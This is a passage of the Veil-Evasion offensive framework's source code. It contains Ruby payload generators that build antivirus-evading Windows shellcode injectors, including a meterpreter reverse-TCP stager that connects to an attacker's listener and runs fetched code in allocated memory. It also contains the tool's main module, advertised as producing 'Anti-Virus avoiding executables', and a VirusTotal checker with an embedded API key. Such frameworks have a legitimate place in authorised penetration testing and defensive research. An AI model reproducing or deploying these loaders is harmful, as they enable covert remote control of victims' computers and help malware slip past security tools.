"ruby/meterpreter/rev_tcp" self.cli_opts = cli_obj if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "LHOST" : ["", "The listen target address"], "LPORT" : ["4444", "The listen port"], "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "USERNAME" : ["X", "Optional: The required user account"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": payload_code += 'require \'socket\'\n' payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n" payload_code += "def g(ip,port)\n" payload_code += "\tbegin\n" payload_code += "\t\ts = TCPSocket.open(ip, port)\n" payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n" payload_code += "\t\tp = \" \"\n" payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n" payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n" payload_code += "\t\tsd = $g_o.call(s.fileno)\n" payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n" payload_code += "\t\treturn p\n" payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n" payload_code += "def ij(sc)\n" payload_code += "\tif sc.length > 1000\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "ij(g(\"%s\",%s))\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/ruby/shellcode_inject/000077500000000000000000000000001365017756100234115ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/payloads/ruby/shellcode_inject/base64.py000066400000000000000000000147161365017756100250600ustar00rootroot00000000000000""" Ruby inline base64 decoding of shellcode and injector TODO: better randomization Module built by @ChrisTruncer """ import base64 from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required options self.description = "Base64 decode for shellcode injection" self.language = "ruby" self.extension = "rb" self.rating = "Normal" self.name = "Ruby Base64 Encoded" self.path = "ruby/shellcode_inject/base64" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "USERNAME" : ["X", "Optional: The required user account"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 payload_code = "" # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() payload_code = "require 'rubygems'\n" payload_code += "require 'win32/api'\n" payload_code += "include Win32\n" payload_code += "require 'base64'\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode # Base64 Encode Shellcode Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += payloadName + " = [\"" + Shellcode + "\".unpack(\"m\")[0].delete(\"\\\\\\\\x\")].pack(\"H*\")\n" payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return Veil-3.1.14/tools/evasion/payloads/ruby/shellcode_inject/flat.py000066400000000000000000000140251365017756100247130ustar00rootroot00000000000000""" Ruby inline shellcode injector TODO: better randomization """ from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import gamemaker from tools.evasion.evasion_common import shellcode_help class PayloadModule: def __init__(self, cli_obj): # required options self.description = "VirtualAlloc pattern for shellcode injection" self.language = "ruby" self.extension = "rb" self.rating = "Normal" self.name = "Ruby Flat Injection" self.path = "ruby/shellcode_inject/flat" self.cli_opts = cli_obj self.shellcode = shellcode_help.Shellcode(cli_obj) self.payload_source_code = "" if cli_obj.ordnance_payload is not None: self.payload_type = cli_obj.ordnance_payload elif cli_obj.msfvenom is not None: self.payload_type = cli_obj.msfvenom elif not cli_obj.tool: self.payload_type = "" self.cli_shellcode = False # options we require user ineraction for- format is {Option : [Value, Description]]} self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], "HOSTNAME" : ["X", "Optional: Only run on specified hostname"], "DOMAIN" : ["X", "Optional: Required internal domain"], "USERNAME" : ["X", "Optional: The required user account"], #"MINRAM" : ["X", "Optional: Minimum amount of ram on target"], #"USERPROMPT" : ["X", "Optional: Prompt user prior to execution"], #"DISKSIZE" : ["X", "Optional: Set minimum disk size"], "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] } def generate(self): payload_code = "require 'rubygems'\n" payload_code += "require 'win32/api'\n" payload_code += "include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I');" + rand_protect + " = API.new('VirtualProtect', 'PIIP', 'I')\n" payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) payload_code += ptrName + " = " + valloc_random + ".call(0,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x1000, 0x04)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + protect_out + " = " + rand_protect + ".call(" + ptrName + ",(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0x20, 0); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += heapcreate_random + " = API.new('HeapCreate', 'III', 'I');" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "%s = \"%s\"\n" %(payloadName, Shellcode) payload_code += heap_name + " = " + heapcreate_random + ".call(0x0004,(" + payloadName + ".length > 0x1000 ? " + payloadName + ".length : 0x1000), 0)\n" payload_code += ptrName + " = " + heapalloc_random + ".call(" + heap_name + ", 0x00000008, " + payloadName + ".length)\n" payload_code += "x = " + rtlmove_random + ".call(" + ptrName + "," + payloadName + "," + payloadName + ".length); " + threadName + " = " + createthread_random + ".call(0,0," + ptrName + ",0,0,0); x = " + waitfor_random + ".call(" + threadName + ",0xFFFFFFF)\n" # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code returnVeil-3.1.14/tools/evasion/payloads/template.py000066400000000000000000000037471365017756100213320ustar00rootroot00000000000000""" Description of the payload Additional notes, sources, links, etc Module built by @ """ # framework import to access shellcode generation from modules.common import shellcode # framework import to access common helper methods, including randomization from modules.common import helpers # framework import to access encryption and source code obfuscation methods from modules.common import encryption # the main config file import settings # Main class must be titled "Payload" class Payload: def __init__(self): # required options self.description = "description" self.language = "python/cs/powershell/whatever" self.rating = "Poor/Normal/Good/Excellent" self.extension = "py/cs/c/etc." self.shellcode = shellcode.Shellcode() # options we require user ineraction for- format is {OPTION : [Value, Description]]} # the code logic will parse any of these out and require the user to input a value for them self.required_options = { "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], "USE_PYHERION" : ["N", "Use the pyherion encrypter"] } # an option note to be displayed to the user after payload generation # i.e. additional compile notes, or usage warnings self.notes = "...additional notes to user..." # main method that returns the generated payload code def generate(self): # Generate Shellcode Using msfvenom Shellcode = self.shellcode.generate(self.required_options) # build our your payload sourcecode PayloadCode = "..." # add in a randomized string PayloadCode += helpers.randomString() # example of how to check the internal options if self.required_options["USE_PYHERION"][0].lower() == "y": PayloadCode = encryption.pyherion(PayloadCode) # return everything return PayloadCode Veil-3.1.14/tools/evasion/scripts/000077500000000000000000000000001365017756100170055ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/scripts/vt-notify/000077500000000000000000000000001365017756100207445ustar00rootroot00000000000000Veil-3.1.14/tools/evasion/scripts/vt-notify/README.md000066400000000000000000000004231365017756100222220ustar00rootroot00000000000000Virus Total Notifier ========= This is a fork of Mubix's original VT-notifier script (https://github.com/mubix/vt-notify). Modifications from the original: -Gmail gem utilization added in (gem install gmail) -hash list can be hash:exename -t 0 defaults to a single run Veil-3.1.14/tools/evasion/scripts/vt-notify/vt-notify.rb000077500000000000000000000163711365017756100232430ustar00rootroot00000000000000#!/usr/bin/env ruby # encoding: utf-8 # # Slightly modified version of VT-Notify that # accepts gmail credentials for alerting. # # All credit to mubix https://github.com/mubix/vt-notify # $PROGRAM_NAME = 'VirusTotalNotifier' # Require 'rubygems' # Uncomment this for use w/ ruby 1.8.7 require 'json' require 'net/http' require 'digest/sha1' require 'optparse' require 'net/smtp' def send_email(to,opts={}) # http://fuelyourcoding.com/emailify-your-app-with-gmail-and-ruby/ Gmail.new($gmailusername, $gmailpassword) do |gmail| gmail.deliver do to "#{to}" subject "Virus Total Detection" text_part do body "#{opts[:body]}" end end end end def getsha1(filename) begin contents = open(filename, "rb") {|io| io.read } sha1 = Digest::SHA1.hexdigest(contents) return sha1 rescue return end end def ping_vt(resource) url = 'http://www.virustotal.com/vtapi/v2/file/report' uri = URI.parse(url) response = Net::HTTP.post_form(uri, {"apikey" => $apikey, "resource" => resource}) return response end def breakuplist(hashlist) hashgroup = [] (0.step(hashlist.size, 25)).each do |x| hashgroup << hashlist[x..(x+25)] end return hashgroup end def parse_results(result, hashNameList) if result['response_code'] == 0 $notfound += 1 return else $found << result['resource'] puts "#{result['resource']}:#{hashNameList[result['resource']]} was found #{result['positives']} out of #{result['total']} on #{result['scan_date']}" end end ######### MAIN ############# argcheck = 0 # Parse arguments OptionParser.new do |o| o.on('-e EMAIL // email address of who to notify upon detection, will only log to file if not specified') { |emailaddr| $emailaddr = emailaddr } o.on('-c CREDFILE // file a username[tab] password of gmail account to send through, defaults to creds.txt') { |credfile| $credfile = credfile; argcheck = 1 } o.on('-s FILENAME // file name of binary to keep track of') { |binname| $binname = binname; argcheck = 1 } o.on('-S SHA1 // single SHA1 to keep track of') { |sha1arg| $sha1arg = sha1arg; argcheck = 1 } o.on('-f FILENAME // file containing sha1 hashes of files to keep track of') { |hashfilename| $hashfilename = hashfilename; argcheck = 1 } o.on('-d DIRECTORY // directory of binaries keep track of') { |directory| $directory = directory; argcheck = 1 } o.on('-a APIKEYFILENAME // file contianing API key hash on first line, defaults to apikey.txt') { |apikeyfile| $apikeyfile = apikeyfile} o.on('-l LOGFILENAME // file to write/read positive entries to/from, defaults to results.log') { |logfilename| $logfilename = logfilename} o.on('-i INTERVAL // how often VT is checked, defaults to every 30 minutes. Use 0 for a single run.') { |interval| $interval = interval.to_i } o.on('-h') { puts o; exit } o.parse! end if argcheck == 0 puts 'No hash input arguments specified. Exiting' exit end # Make sure arguments have something useful $interval ||= 1800 # 10 minutes in seconds $found = [] $logfilename ||= 'results.log' $apikeyfile ||= 'apikey.txt' $credfile ||= 'creds.txt' # See the following blog post, but since API limits are based on KEY+IP, # the VT peeps recommend using an application specific key distributed w/ the tool: # http://blog.virustotal.com/2012/12/public-api-request-rate-limits-and-tool.html begin $apikey = File.open($apikeyfile) {|f| f.readline.strip} rescue Errno::ENOENT puts 'API key file not found. Using built-in: e09d42ac15ac172f50c1e340e551557d6c46d2673fc47b53ef5977b609d5ebe5' $apikey = 'e09d42ac15ac172f50c1e340e551557d6c46d2673fc47b53ef5977b609d5ebe5' end begin $gmailcreds = File.open($credfile) {|f| f.readline.strip} $gmailusername = $gmailcreds.split[0] $gmailpassword = $gmailcreds.split[1] rescue Errno::ENOENT puts 'Gmail credentials not found, can\'t send email...' end puts "Using API key: #{$apikey}" loop { hashlist = [] hashNameList = Hash.new if $binname begin sha = getsha1($binname) hashlist << sha hashNameList[$binname] = sha rescue Errno::ENOENT puts 'Binary not found, exiting' exit end end if $hashfilename begin File.open($hashfilename, 'r').each_line do |line| hash, name = line.strip.split(":") hashlist << hash hashNameList[hash] = name end rescue Errno::ENOENT puts 'Hash file not found, exiting' exit end end if $sha1arg hashlist << $sha1arg hashNameList[$sha1arg] = nil end if $directory begin wd = Dir.getwd Dir.chdir($directory) filelist = Dir['**/*'].reject {|fn| File.directory?(fn)} puts 'Generating SHA1 of all files in directory recursively, this could take a while' puts 'This is done each for each check just in case files change.' filelist.each do |file| sha = getsha1(file) hashlist << sha hashNameList[file] = sha end # Return to working directory Dir.chdir(wd) rescue Errno::ENOENT puts 'No such folder specified for -d, please insert 5¢ and try again' Dir.chdir(wd) exit end end if hashlist.size == 0 puts 'Hash list is empty for one reason or another' puts 'I will sleep for 30 seconds and then check again' sleep(30) next end # Remove already detected $found.each do |removeme| hashlist.delete(removeme) end hashgroup = [] $notfound = 0 hashgroup = breakuplist(hashlist) # Delete any empty groups as a result of the list being divisible by 25 hashgroup.delete([]) # Puts hashgroup.inspect apiminutelimit = 1 hashgroup.each do |group| response = ping_vt(group.join(',')) if apiminutelimit == 4 puts 'Virus Total API limits 4 requests per minute, limit reached, sleeping for 60 seconds' apiminutelimit = 0 sleep(60) else apiminutelimit += 1 end if response.body != nil results = JSON.parse(response.body) if results.class == Array results.each do |result| parse_results(result, hashNameList) end elsif results.class == Hash parse_results(results, hashNameList) end else puts "No response from Virus Total, delaying for 10 seconds and trying again..." sleep(10) redo end end #system("clear") puts "" puts " ======================================" puts " VT-Notify RESULTS " puts " ======================================" puts " Checked: #{hashlist.size}" puts " Not found: #{$notfound.to_s}" puts " Found: #{$found.size}" puts "" if ($interval == 0) puts "single check complete, exiting" exit else puts "check complete, sleeping for #{$interval} seconds" sleep($interval) end } Veil-3.1.14/tools/evasion/tool.py000066400000000000000000000516701365017756100166560ustar00rootroot00000000000000""" This is the Veil-Evasion module """ import glob import os import readline import subprocess import sys from os.path import join from lib.common import completer from lib.common import helpers from tools.evasion.evasion_common import evasion_helpers from tools.evasion.evasion_common import outfile from tools.evasion.evasion_common import shellcode_help # Try to find and import the settings.py config file try: sys.path.append("/etc/veil/") import settings except ImportError: print( "\n [!] ERROR #1-1: Can't import /etc/veil/settings.py. Run: %s\n" % ( os.path.abspath( "./config/update-config.py" ) ) ) sys.exit() sys.path.insert(0, settings.VEIL_PATH + '/tools/ordnance') import tool as ordnance_import class Tools: def __init__(self, cli_options=None): self.cli_name = "Evasion" self.description = "Generates Anti-Virus avoiding executables #avlol" # Payloads currently within the payload directories self.active_payloads = {} # Load all payload modules self.load_payloads(cli_options) self.command_options = cli_options self.evasion_main_menu_commands = { "list": "List available payloads", "use": "Use a specific payload", "info": "Information on a specific payload", "exit": "Completely exit Veil", "back": "Go to Veil's main menu", "clean": "Remove generated artifacts", "checkvt": "Check VirusTotal.com against generated hashes"} self.final_shellcode = "" self.payload_option_commands = { "set": "Set shellcode option", "generate": "Generate the payload", "back": "Go back to Veil-Evasion", "exit": "Completely exit Veil", "options": "Show the shellcode's options" } def check_vt(self, interactive=True): """ Checks payload hashes in veil-output/hashes.txt vs VirusTotal.com """ # Command for in-menu vt-notify check against hashes within hash file # It's only triggered if selected in menu and file isn't empty try: if os.stat(settings.HASH_LIST)[6] != 0: checkVTcommand = settings.VEIL_PATH + 'tools/evasion/scripts/vt-notify/vt-notify.rb -f ' + settings.HASH_LIST + ' -i 0' print(helpers.color("\n [*] Checking Virus Total for payload hashes...\n")) checkVTout = subprocess.check_output(checkVTcommand, shell=True) checkVTout = checkVTout.decode('ascii') checkVTout = checkVTout.split('\n') found = False for line in checkVTout: if "was found" in line: filehash, filename = line.split()[0].split(":") print(helpers.color(" [!] File %s with hash %s found!" % (filename, filehash), warning=True)) found = True if found is False: print(" [*] No payloads found on VirusTotal.com!") input("\n [>] Press any key to continue...") else: print(helpers.color("\n [!] Hash file is empty, generate a payload first!", warning=True)) input("\n [>] Press any key to continue...") except OSError: print(helpers.color("\n [!] ERROR: hash list %s not found" % (settings.HASH_LIST), warning=True)) input("\n [>] Press any key to continue...") return def clean_artifacts(self, interactive=True): """ Cleans out the payload source/compiled/handler folders. """ # prompt for confirmation if we're in the interactive menu if interactive: choice = input("\n [>] Are you sure you want to clean payload folders? [y/N] ").strip().lower() if choice.startswith('y'): helpers.clean_payloads() choice = input("\n [>] Folders cleaned, press any enter to return to the main menu.") else: print(helpers.color("[*] You did not enter yes, not cleaning payloads!", warning=True)) else: print("\n [*] Cleaning %s" % (settings.PAYLOAD_SOURCE_PATH)) os.system('rm -f %s/*.*' % (settings.PAYLOAD_SOURCE_PATH)) print(" [*] Cleaning %s" % (settings.PAYLOAD_COMPILED_PATH)) os.system('rm -f %s/*.exe' % (settings.PAYLOAD_COMPILED_PATH)) print(" [*] Cleaning %s" % (settings.HANDLER_PATH)) os.system('rm -f %s/*.rc' % (settings.HANDLER_PATH)) print(" [*] cleaning %s" % (settings.HASH_LIST)) os.system('rm -f %s' % (settings.HASH_LIST)) os.system('touch ' + settings.HASH_LIST) print("\n [*] Folders cleaned\n") return def cli_menu(self, invoked=False): # --list-payloads if self.command_options.list_payloads: self.list_loaded_payloads() sys.exit() # Check if a payload is provided, and if so, start the generation # process # Missing -p ? if not self.command_options.p: print(helpers.color(" [!] ERROR: Missing --payload selection (-p ). Try: -t Evasion --list-payloads", warning=True)) else: user_cli_payload = self.return_payload_object(self.command_options.p) if not user_cli_payload: print(helpers.color(" [!] ERROR: You did not provide a valid payload selection!", warning=True)) print(helpers.color(" [*] Ex: info 2 OR info lua/shellcode_inject/flat.py", warning=True)) sys.exit() if self.command_options.ip is None and ("meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path): print(helpers.color(" [!] ERROR: You did not provide an IP/domain to connect to/bind on", warning=True)) sys.exit() # Make sure IP is valid # --ip if self.command_options.ip is not None: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) if not valid_ip and not valid_hostname: print(helpers.color(" [!] ERROR: You did not provide a valid ip/domain!", warning=True)) print(helpers.color("[*] Please specify the correct value", warning=True)) sys.exit() # Determine if using Ordnance or MSFVenom for shellcode generation if self.command_options.ordnance_payload is None and self.command_options.msfvenom is None and "meterpreter" not in user_cli_payload.path: print(helpers.color(" [!] ERROR: You did not provide a shellcode option to use!", warning=True)) sys.exit() # Check if using a pure payload (shellcodeless) if "meterpreter" in user_cli_payload.path or "shellcode_inject" in user_cli_payload.path: if "meterpreter" in user_cli_payload.path: # Check for where the IP is being stored if "LHOST" in user_cli_payload.required_options: user_cli_payload.required_options["LHOST"][0] = self.command_options.ip elif "RHOST" in user_cli_payload.required_options: user_cli_payload.required_options["RHOST"][0] = self.command_options.ip # Store the LPORT value in the payload if "LPORT" in user_cli_payload.required_options: user_cli_payload.required_options["LPORT"][0] = self.command_options.port else: # If ordnance, generate shellcode through it if self.command_options.ordnance_payload is not None: Ordnance_object = ordnance_import.Tools(self.command_options) Ordnance_object.cli_menu(invoked=True) cli_shellcode = Ordnance_object.final_shellcode # Or if msfvenom, get that code elif self.command_options.msfvenom is not None: cli_shellcode = shellcode_help.cli_msf_shellcode_gen(self.command_options) # This could be the future area for adding custom shellcode. If there # is a need I can add it in # Set the shellcode in the Evasion payload user_cli_payload.cli_shellcode = cli_shellcode # Loop over setting required options # -c if self.command_options.c is not None: for payload_option in self.command_options.c: if payload_option != '': if "=" not in payload_option: print(helpers.color(" [!] Payload option not entered in correct syntax.\n", warning=True)) sys.exit() else: key = payload_option.split('=')[0].upper() value = payload_option.split('=')[1] if key in user_cli_payload.required_options: user_cli_payload.required_options[key][0] = value else: print(helpers.color(" [!] The option " + key + " does not exist for the selected payload!.\n", warning=True)) sys.exit() # Generate the payload code # source code stored in user_cli_payload.source_code user_cli_payload.generate() # figure out how to compile the code outfile.compiler(user_cli_payload, invoked=True, cli_object=self.command_options) return def display_payload_options(self, selected_pload, showTitle=True): # show the title if specified if showTitle: evasion_helpers.title_screen() self.payload_info(selected_pload) return def invoked_tool_menu(self, callback_config=None): print("This is a menu when invoked by another tool") return def list_loaded_payloads(self): print(helpers.color("\n [*] Available Payloads:\n")) lastBase = None x = 1 for name in sorted(self.active_payloads.keys()): parts = name.split("/") if lastBase and parts[0] != lastBase: print() lastBase = parts[0] print("\t%s)\t%s" % (x, '{0: <24}'.format(name))) x += 1 print("\n") return def load_payloads(self, cli_args): for x in range(1, 5): for name in glob.glob(join("tools/evasion/payloads/" + "*/" * x,'[!_]*.py')): if name.endswith(".py") and ("__init__" not in name): module = helpers.load_module(name) self.active_payloads[name.replace('tools/evasion/payloads/', '')] = module.PayloadModule(cli_args) return def print_options_screen(self, pload_object): print() print("Payload: " + helpers.color(pload_object.path) + " selected\n") print(helpers.color(" Required Options:\n")) print('{0: <16}'.format('Name') + '\t' + '{0: <8}'.format('Value') + '\t' + '{0: <8}'.format('Description')) print('{0: <16}'.format('----') + '\t' + '{0: <8}'.format('-----') + '\t' + '{0: <8}'.format('-----------')) for opt_name in sorted(pload_object.required_options.keys()): print('{0: <16}'.format(opt_name) + '\t' + '{0: <8}'.format(pload_object.required_options[opt_name][0]) + '\t' + pload_object.required_options[opt_name][1]) print() return def payload_info(self, payload_obj, showTitle=True, showInfo=True): """ Print out information about a specified payload. payload_obj = the payload object to print information on showTitle = whether to show the Veil title showInfo = whether to show the payload information bit """ print(helpers.color(" Payload Information:\n")) print("\tName:\t\t" + payload_obj.name) print("\tLanguage:\t" + payload_obj.language) print("\tRating:\t\t" + payload_obj.rating) # format this all nice-like print(evasion_helpers.format_long("Description:", payload_obj.description)) # if required options were specified, output them if hasattr(payload_obj, 'required_options'): self.print_options_screen(payload_obj) return def return_payload_object(self, user_selection): # This function handles returning the selected payload module object # to the calling function payloads = sorted(self.active_payloads.items()) payload_by_path = [payload for payload in payloads if payload[0] == user_selection.strip().lower()] if 